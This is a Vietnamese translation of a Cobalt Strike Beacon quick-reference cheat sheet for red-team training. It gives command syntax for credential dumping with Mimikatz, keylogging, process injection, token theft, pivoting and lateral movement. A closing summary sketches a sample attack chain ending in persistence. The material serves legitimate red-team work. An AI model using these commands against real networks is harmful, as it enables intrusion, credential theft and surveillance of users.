Adversary Tactics_ Red Team Operations

  1. Giới thiệu
  2. Listeners
  3. Các Lệnh Thông Dụng
  4. Chuẩn Bị Phiên
  5. Trinh Sát Máy Chủ và Mạng
  6. Mimikatz
  7. PowerShell
  8. Chuyển Giao và Quản Lý Phiên
  9. Pivoting
  10. Di Chuyển Ngang
  11. Mẹo Thủ Công
  12. Thông Tin Thêm

Giới thiệu Beacon là payload bất đồng bộ linh hoạt của Cobalt Strike, tích hợp nhiều tùy chọn hậu khai thác. Khi một Beacon đang hoạt động, nhiều tùy chọn theo ngữ cảnh có sẵn bằng cách nhấp chuột phải vào Beacon trong menu hiển thị.

Lưu ý: bảng tra cứu nhanh này không được cấp phép/xác nhận chính thức bởi Cobalt Strike hay tác giả của nó (@armitagehacker). Tài liệu chính thức cho Beacon có sẵn từ tác giả tại https://www.cobaltstrike.com/help-beacon

Listeners Listeners Beacon của Cobalt Strike có thể truy cập thông qua menu “Cobalt Strike”->”Listeners” ở góc trên bên trái.

Khi thêm một listener mới, định dạng payload theo <OS>/<agent_mode>/<stager>. <agent_mode> xác định phương tiện giao tiếp mà agent sẽ sử dụng, trong khi <stager> xác định cách mã agent được chuyển đến mục tiêu.

Beacon SMB sử dụng các named pipe để giao tiếp thông qua một pivot Beacon cha. Để thiết lập một listener SMB, chọn payload windows/beacon_smb/bind_pipe. Cổng được chọn được sử dụng khác nhau tùy thuộc chính xác vào cách Beacon SMB đang được sử dụng.

Khi sử dụng listener SMB, bất kỳ hành động nào ảnh hưởng đến máy chủ cục bộ (ví dụ: bypassuac) sẽ mở một listener TCP trên cổng đã chọn được gắn với localhost.

Nếu listener SMB đang được sử dụng để di chuyển ngang, cổng được chọn ảnh hưởng đến tên named pipe được sử dụng.

Các Lệnh Thông Dụng Shell beacon> hiển thị một số lệnh.

help <command>: Hiển thị tất cả các lệnh có sẵn hoặc trợ giúp cho một lệnh cụ thể ps: Hiển thị danh sách quy trình shell [command] [arguments]: Thực thi một lệnh shell sử dụng cmd.exe sleep [seconds] <jitter/0-99>: Đặt Beacon ngủ trong số giây và jitter 0-99% tương ứng. 0 có nghĩa là tương tác. jobs: Liệt kê các công việc đang chạy. jobkill [job ID]: Kết thúc công việc có ID được chỉ định. clear: Xóa tất cả các tác vụ hiện tại. exit: Yêu cầu Beacon thoát. link/unlink [IP address]: Liên kết/hủy liên kết tới/từ một Beacon SMB từ xa.

Beacon cũng có một số lệnh điều hướng/tương tác hệ thống tập tin thông dụng:

pwd: Hiển thị thư mục làm việc hiện tại cho phiên Beacon. ls <C:\Path>: Liệt kê các tệp trên đường dẫn được chỉ định hoặc thư mục hiện tại. cd [directory]: Chuyển đến thư mục làm việc được chỉ định. rm [file\folder]: Xóa một tệp\thư mục. cp [src] [dest]: Sao chép tệp download [C:\filePath]: Tải xuống một tệp từ đường dẫn trên máy chủ Beacon. downloads: Liệt kê các tải xuống đang tiến hành cancel [file]: Hủy một tải xuống đang tiến hành, chấp nhận ký tự đại diện. upload [/path/to/file]: Tải lên một tệp từ máy tấn công đến thư mục làm việc hiện tại của Beacon

Chuẩn Bị Phiên Cobalt Strike 3.8 giới thiệu khả năng giả mạo quy trình cha cho tất cả các công việc hậu khai thác.

Đầu tiên, sử dụng ps để liệt kê các quy trình hiện tại và chọn một quy trình cha thích hợp để giả mạo, cũng như một quy trình hy sinh thích hợp để sử dụng. iexplore.exe và explorer.exe là lựa chọn tốt cho không gian người dùng, và services.exe/svchost.exe cho ngữ cảnh SYSTEM.

Sau đó, bạn có thể đặt ID quy trình cha với ppid <ID> và có thể đặt quy trình con được sinh ra với spawnto <x86/x64> <C:\process\to\spawn.exe>. Tất cả các công việc hậu khai thác giờ đây sẽ mô phỏng một cây quy trình bình thường.

Trinh Sát Máy Chủ và Mạng Beacon chứa các hành động hậu khai thác tiêu chuẩn mà bạn mong đợi từ một agent trưởng thành.

keylogger [pid] <x86|x64> tiêm một bộ ghi phím vào ID quy trình và kiến trúc đã cho. Bộ ghi phím sẽ trả về kết quả trong mỗi lần kiểm tra agent và sẽ chạy vô thời hạn. Sử dụng jobs để liệt kê và jobkill <ID> để kết thúc.

screenshot [pid] <x86|x64> [runtime in seconds] tiêm một đoạn mã chụp màn hình vào quy trình/kiến trúc được chỉ định trong số giây được chỉ định. Sử dụng jobs để liệt kê và jobkill <ID> để kết thúc.

Lưu ý rằng cả keylogger và screenshot có thể được sử dụng thông qua bảng danh sách quy trình bằng cách nhấp chuột phải vào một Beacon và chọn “Explore” -> “Process List”.

Beacon cũng có một số lệnh net được triển khai không phụ thuộc vào việc gọi net.exe. Điều này bao gồm liệt kê phiên/chia sẻ/nhóm cục bộ/v.v. của máy chủ cục bộ hoặc từ xa. Sử dụng help net để xem tất cả các lệnh và help net [command] để biết thêm thông tin về một lệnh cụ thể.

Mimikatz Định dạng để thực thi một lệnh Mimikatz (có thể tự động hoàn thành) là mimikatz [module::command] <args>.

Sử dụng !module:: sẽ khiến Mimikatz nâng cấp lên SYSTEM trước khi thực thi, trong khi @module:: sẽ buộc sử dụng token hiện tại của Beacon.

logonpasswords sẽ thực thi mô-đun sekurlsa::logonpasswords, trích xuất các hash và mật khẩu văn bản thuần từ LSASS. Thông tin đăng nhập được lưu trữ trong kho thông tin đăng nhập liên tục của Cobalt Strike.

dcsync [DOMAIN.fqdn] [DOMAIN\user] sẽ sử dụng lsadump::dcync để trích xuất hash cho người dùng được chỉ định từ một bộ điều khiển miền, giả định rằng các đặc quyền cần thiết có sẵn.

pth [DOMAIN\user] [NTLM hash] sẽ sử dụng sekurlsa::pth để tiêm hash của người dùng vào LSASS, bắt đầu một quy trình ẩn với những thông tin đăng nhập đó, và mạo danh quy trình đó. Lưu ý rằng điều này yêu cầu đặc quyền quản trị viên cục bộ.

PowerShell Tích hợp PowerShell của Beacon cho phép bạn dễ dàng chạy bất kỳ PowerShell hậu khai thác nào bạn muốn.

powershell-import [/path/to/script.ps1] sẽ nhập một script PowerShell .ps1 từ máy chủ điều khiển và lưu nó trong bộ nhớ trong Beacon. Các hàm từ script được nhập được hiển thị cho các lệnh bên dưới. Chỉ một script PowerShell có thể được chứa trong bộ nhớ tại một thời điểm.

powershell [commandlet] [arguments] trước tiên sẽ thiết lập một máy chủ TCP cục bộ gắn với localhost và tải xuống script đã nhập từ trên sử dụng powershell.exe. Sau đó, hàm được chỉ định và bất kỳ đối số nào được thực thi và kết quả được trả về.

powerpick [commandlet] [arguments] sẽ khởi chạy hàm đã cho sử dụng Unmanaged PowerShell của @tifkin_, không khởi động powershell.exe. Chương trình được sử dụng được đặt bởi spawnto.

psinject [pid] [arch] [commandlet] [arguments] sẽ tiêm Unmanaged PowerShell vào một quy trình cụ thể và thực thi lệnh được chỉ định. Điều này hữu ích cho các công việc PowerShell chạy dài.

Chuyển Giao và Quản Lý Phiên Có một số cách để sinh ra các Beacon mới và chuyển giao phiên đến các teamserver khác. Bất kỳ lệnh nào sinh ra một quy trình bổ sung đều sử dụng những gì được đặt bởi spawnto <x86/x64> <C:\process\to\spawn.exe>.

inject [pid] <x86|x64>: Tiêm một Beacon mới vào quy trình được chỉ định, sinh ra cho listener đã cho. shinject [pid] <x86|x64> [/path/to/my.bin]: Tiêm shellcode tùy chỉnh vào quy trình được chỉ định. shspawn <x86|x64> [/path/to/my.bin]: Sinh ra một quy trình và tiêm shellcode tùy chỉnh. dllinject [pid] [/path/to/my.dll]: Tiêm một DLL phản chiếu vào quy trình được chỉ định. spawn [x86|x64] [listener]: Sinh ra một quy trình Beacon mới cho listener đã cho. spawnas [DOMAIN\user] [password] [listener]: Sinh ra một Beacon mới cho listener được chỉ định dưới dạng một người dùng khác. spawnu [pid] [listener]: Cố gắng sinh ra một payload trong một quy trình powershell.exe dưới PID được chỉ định. runu [pid] [command] [arguments]: Cố gắng thực thi một chương trình với PID được chỉ định làm quy trình cha của nó. make_token [DOMAIN\user] [password]: Đặt token hiện tại để chuyển thông tin đăng nhập miền được chỉ định khi tương tác với tài nguyên mạng. steal_token [PID]: Đánh cắp một token từ quy trình được chỉ định. rev2self: Quay lại token truy cập gốc của Beacon. kerberos_ticket_use [/path/ticket.kirbi]: Tiêm một vé Kerberos vào phiên hiện tại. kerberos_ticket_purge: Xóa các vé Kerberos.

Lưu ý rằng spawnas thường sẽ thất bại khi chạy dưới dạng SYSTEM, trong trường hợp này hãy sử dụng make_token thay thế. Cũng đảm bảo rằng bạn đang ở trong một thư mục mà người dùng mới có quyền đọc!

spawnu và runu là hai lệnh duy nhất giữ nguyên token của quy trình cha. Các lệnh này hữu ích để sinh ra một beacon trong một phiên desktop khác mà không cần tiêm quy trình.

Để sinh ra một phiên Meterpreter mới, đặt loại listener là windows/foreign/reverse_http[s] và nhập cấu hình listener Meterpreter. Sau đó sử dụng listener này với bất kỳ lệnh nào ở trên.

Pivoting Có một vài tùy chọn pivoting có sẵn trong Beacon. Sau khi bất kỳ pivot nào sau đây được bắt đầu, chúng có thể được xem thông qua “View”->”Proxy Pivots” và dừng lại khi mong muốn.

socks [PORT] sẽ bắt đầu một máy chủ SOCKS trên cổng đã cho trên teamserver của bạn, chuyển tiếp lưu lượng thông qua Beacon được chỉ định. Đặt cấu hình teamserver/port trong /etc/proxychains.conf để sử dụng dễ dàng.

browserpivot [pid] [x86|x64] sẽ chuyển tiếp lưu lượng trình duyệt thông qua một quy trình Internet Explorer được chỉ định. Nhấp chuột phải vào một Beacon và chọn “Explore”->”Browser Pivot” sẽ tự động liệt kê các quy trình IE có sẵn. Sử dụng proxychains hoặc đặt cài đặt proxy của trình duyệt gốc

để sử dụng chức năng này.

rportfwd [bind port] [forward host] [forward port] sẽ liên kết với cổng được chỉ định trên máy chủ Beacon, và chuyển tiếp bất kỳ kết nối đến nào tới máy chủ và cổng được chuyển tiếp. Điều này hữu ích để chuyển tiếp lưu lượng ra khỏi mạng trong những tình huống cụ thể.

Di Chuyển Ngang : Các tùy chọn di chuyển ngang của Beacon bao gồm tất cả các cơ sở tiêu chuẩn và tích hợp suôn sẻ với các listener. Cả ba lệnh sau đây cuối cùng đều khởi chạy powershell.exe trên máy chủ từ xa để tiêm mã stager shellcode, vì vậy hãy ghi nhớ điều này!

psexec_psh [host] [listener] tạo một dịch vụ trên mục tiêu để khởi chạy stager, sẽ hoạt động dưới quyền SYSTEM.

wmi [host] [listener] sử dụng process call create của WMI để khởi chạy stager trên hệ thống từ xa.

winrm [host] [listener] sử dụng Windows remoting để sinh ra stager đã cho.

Lưu ý rằng các stager được sinh ra thông qua wmi/winrm sẽ hoạt động dưới ngữ cảnh người dùng được sử dụng trên máy tấn công để sinh ra chúng, nhưng chúng chỉ là đăng nhập mạng. Điều này có nghĩa là token chỉ có hiệu lực cho máy mục tiêu và không thể được sử dụng lại trên mạng. Sử dụng make_token sau khi sinh ra một stager theo cách này để đảm bảo thông tin đăng nhập mới.

Mẹo Thủ Công Sử dụng các pivot SMB để lan truyền nội bộ sau một điểm bám ban đầu với 2-3 kênh HTTP[S]/DNS đi ra ngoài.

Bạn có thể liên kết lại với “mạng lưới” SMB của bạn nếu một kênh đi ra ngoài chết và bạn sẽ lấy lại quyền kiểm soát.

Malleable C2 (https://www.cobaltstrike.com/help-malleable-c2) cho phép bạn sửa đổi các mẫu lưu lượng của bạn.

Thông Tin Thêm https://www.cobaltstrike.com/help-beacon https://www.cobaltstrike.com/training https://specterops.io #armitage trên IRC Freenode

Đây là bản dịch đầy đủ của tài liệu. Tài liệu này cung cấp một bảng tra cứu nhanh chi tiết về cách sử dụng Beacon, một công cụ trong bộ Cobalt Strike, bao gồm các lệnh cơ bản, cách thiết lập listener, thực hiện trinh sát, sử dụng Mimikatz, tích hợp PowerShell, quản lý phiên, pivoting và di chuyển ngang trong mạng. Nó cũng bao gồm một số mẹo và liên kết đến tài nguyên bổ sung.

Tóm tắt các điểm chính:

  1. Beacon là một payload linh hoạt của Cobalt Strike, cho phép thực hiện nhiều hoạt động hậu khai thác.
  2. Listeners được sử dụng để thiết lập kênh giao tiếp với Beacon.
  3. Beacon cung cấp nhiều lệnh để thực hiện các tác vụ như điều hướng hệ thống tập tin, thu thập thông tin, và thao tác với quy trình.
  4. Mimikatz được tích hợp vào Beacon để trích xuất thông tin đăng nhập.
  5. PowerShell có thể được sử dụng trong Beacon để mở rộng khả năng.
  6. Beacon hỗ trợ nhiều phương pháp di chuyển ngang và pivoting.

Ví dụ thực tế (lưu ý: đây chỉ là ví dụ cho mục đích giáo dục, không nên sử dụng cho mục đích không hợp pháp):

  1. Thiết lập listener: Một red team có thể thiết lập một HTTPS listener trên cổng 443 để mô phỏng lưu lượng HTTPS bình thường.
  2. Trinh sát ban đầu: Sau khi có quyền truy cập ban đầu, nhóm có thể sử dụng lệnh “ps” để liệt kê các quy trình đang chạy và “pwd” để xác định vị trí hiện tại trong hệ thống tập tin.
  3. Thu thập thông tin đăng nhập: Sử dụng lệnh “mimikatz logonpasswords” để trích xuất mật khẩu từ bộ nhớ.
  4. Di chuyển ngang: Sử dụng “psexec_psh” để di chuyển đến một máy khác trong mạng, sử dụng thông tin đăng nhập đã thu thập.
  5. Pivoting: Thiết lập một SOCKS proxy bằng lệnh “socks” để chuyển tiếp lưu lượng qua máy đã bị xâm nhập.
  6. Duy trì quyền truy cập: Sử dụng PowerShell để tạo một tác vụ định kỳ, đảm bảo Beacon sẽ khởi động lại sau khi máy tính khởi động lại.

Những ví dụ này minh họa cách các công cụ và kỹ thuật được mô tả trong tài liệu có thể được sử dụng trong một chiến dịch red team thực tế. Để hiểu sâu hơn về các chiến thuật và kỹ thuật này, tôi khuyến khích độc giả tham khảo tài liệu “Adversary Tactics: Red Team Operations” trên ITPRO, nơi cung cấp thông tin chi tiết hơn về cách áp dụng những kiến thức này trong các tình huống thực tế.

Thịnh hành